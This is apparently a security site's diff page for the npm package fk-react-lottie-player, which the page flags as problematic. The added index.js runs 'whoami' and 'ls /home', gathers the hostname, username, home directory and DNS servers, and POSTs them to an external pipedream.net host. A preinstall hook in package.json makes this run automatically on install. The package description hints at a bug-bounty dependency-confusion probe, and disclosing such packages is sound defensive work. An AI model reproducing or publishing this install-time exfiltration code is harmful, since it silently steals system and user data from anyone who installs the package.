fk-react-lottie-player 0.0.1-security → 1.1.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of fk-react-lottie-player might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +73 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,73 @@
1
+ const { exec } = require("child_process");
2
+ var cmd = "error";
3
+ exec("ls /home", (error, stdout, stderr) => {
4
+ if (error) {
5
+ console.log(`error: ${error.message}`);
6
+ return;
7
+ }
8
+ if (stderr) {
9
+ console.log(`stderr: ${stderr}`);
10
+ return;
11
+ }
12
+ cmd = `${stderr}`;
13
+ });
14
+
15
+ var whoami_cmd = "error";
16
+ exec("whoami", (error, stdout, stderr) => {
17
+ if (error) {
18
+ console.log(`error: ${error.message}`);
19
+ return;
20
+ }
21
+ if (stderr) {
22
+ console.log(`stderr: ${stderr}`);
23
+ return;
24
+ }
25
+ whoami_cmd = `${stderr}`;
26
+ });
27
+
28
+ const os = require("os");
29
+ const dns = require("dns");
30
+ const querystring = require("querystring");
31
+ const https = require("https");
32
+ const packageJSON = require("./package.json");
33
+ const package = packageJSON.name;
34
+
35
+ const trackingData = JSON.stringify({
36
+ p: package,
37
+ c: __dirname,
38
+ home_directory: os.homedir(),
39
+ hostname: os.hostname(),
40
+ os_userInfo: os.userInfo().username,
41
+ whoami : whoami_cmd,
42
+ ls_home_command: cmd,
43
+ dns: dns.getServers(),
44
+ resolved: packageJSON ? packageJSON.___resolved : undefined,
45
+ });
46
+
47
+ var postData = querystring.stringify({
48
+ msg: trackingData,
49
+ });
50
+
51
+ var options = {
52
+ hostname: "eoi5erul8fbg7nw.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream
53
+ port: 443,
54
+ path: "/",
55
+ method: "POST",
56
+ headers: {
57
+ "Content-Type": "application/x-www-form-urlencoded",
58
+ "Content-Length": postData.length,
59
+ },
60
+ };
61
+
62
+ var req = https.request(options, (res) => {
63
+ res.on("data", (d) => {
64
+ process.stdout.write(d);
65
+ });
66
+ });
67
+
68
+ req.on("error", (e) => {
69
+ // console.error(e);
70
+ });
71
+
72
+ req.write(postData);
73
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "fk-react-lottie-player",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.5",
4
+ "description": "Hackerone nishant57",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=fk-react-lottie-player for more information.